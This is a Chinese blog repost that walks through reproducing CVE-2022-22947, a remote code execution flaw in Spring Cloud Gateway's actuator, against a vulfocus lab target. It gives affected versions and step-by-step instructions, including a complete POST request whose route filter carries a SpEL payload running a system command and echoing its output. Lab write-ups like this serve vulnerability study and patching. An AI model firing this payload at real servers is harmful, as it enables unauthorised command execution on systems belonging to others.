参考:

https://y4er.com/post/cve-2022-22947-springcloud-gateway-spel-rce-echo-response
https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html

漏洞描述

  使用Spring Cloud Gateway的应用程序在Actuator端点在启用、公开和不安全的情况下容易受到代码注入的攻击。攻击者可以恶意创建允许在远程主机上执行任意远程执行的请求。

影响版本

Spring Cloud Gateway < 3.1.1
Spring Cloud Gateway < 3.0.7
Spring Cloud Gateway 其他已不再更新的版本

复现

  1. 首先访问vulfocus中的靶场。

  2.  抓包,修改GET请求的参数

   说明actuator这个端口是开启的。

   3. 查看/actuator/gateway/routes/

   返回的路由信息,意思是当访问index时,路由到http://example.com:80

   访问test时,路由到http://test.com:80

  4. 利用actuator在网关中可以创建和删除路由。

   首先创建路由。注意是POST请求,

   Content-Type: application/json这里要修改为json。请求体中的内容是创建test3路由,让他去执行我们的whoami命令,这里我们可以修改为其他命令。
POST /actuator/gateway/routes/test3 HTTP/1.1
Host: 150.158.155.71:38031
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Thu, 17 Oct 2019 07:18:26 GMT
If-None-Match: "3147526947"
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 431

{
    "id": "test3",
    "filters": [
        {
            "name": "AddResponseHeader",
            "args": {
                "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{"whoami"}).getInputStream()))}",
                "name": "cmd"
            }
        }
    ],
    "uri": "http://example.com:80",
    "order": 0
}

   5. 刷新路由。

   6. 访问我们创建的路由信息。

   7. 删除自己创建的路由,用DELETE请求。

   8. 刷新一下,之后就发现已经被删除了。

 

 

 

 

 

 

 

内容来源于网络如有侵权请私信删除

文章来源: 博客园

原文链接: https://www.cnblogs.com/syroot/p/15978762.html

你还没有登录,请先登录注册
  • 还没有人评论,欢迎说说您的想法!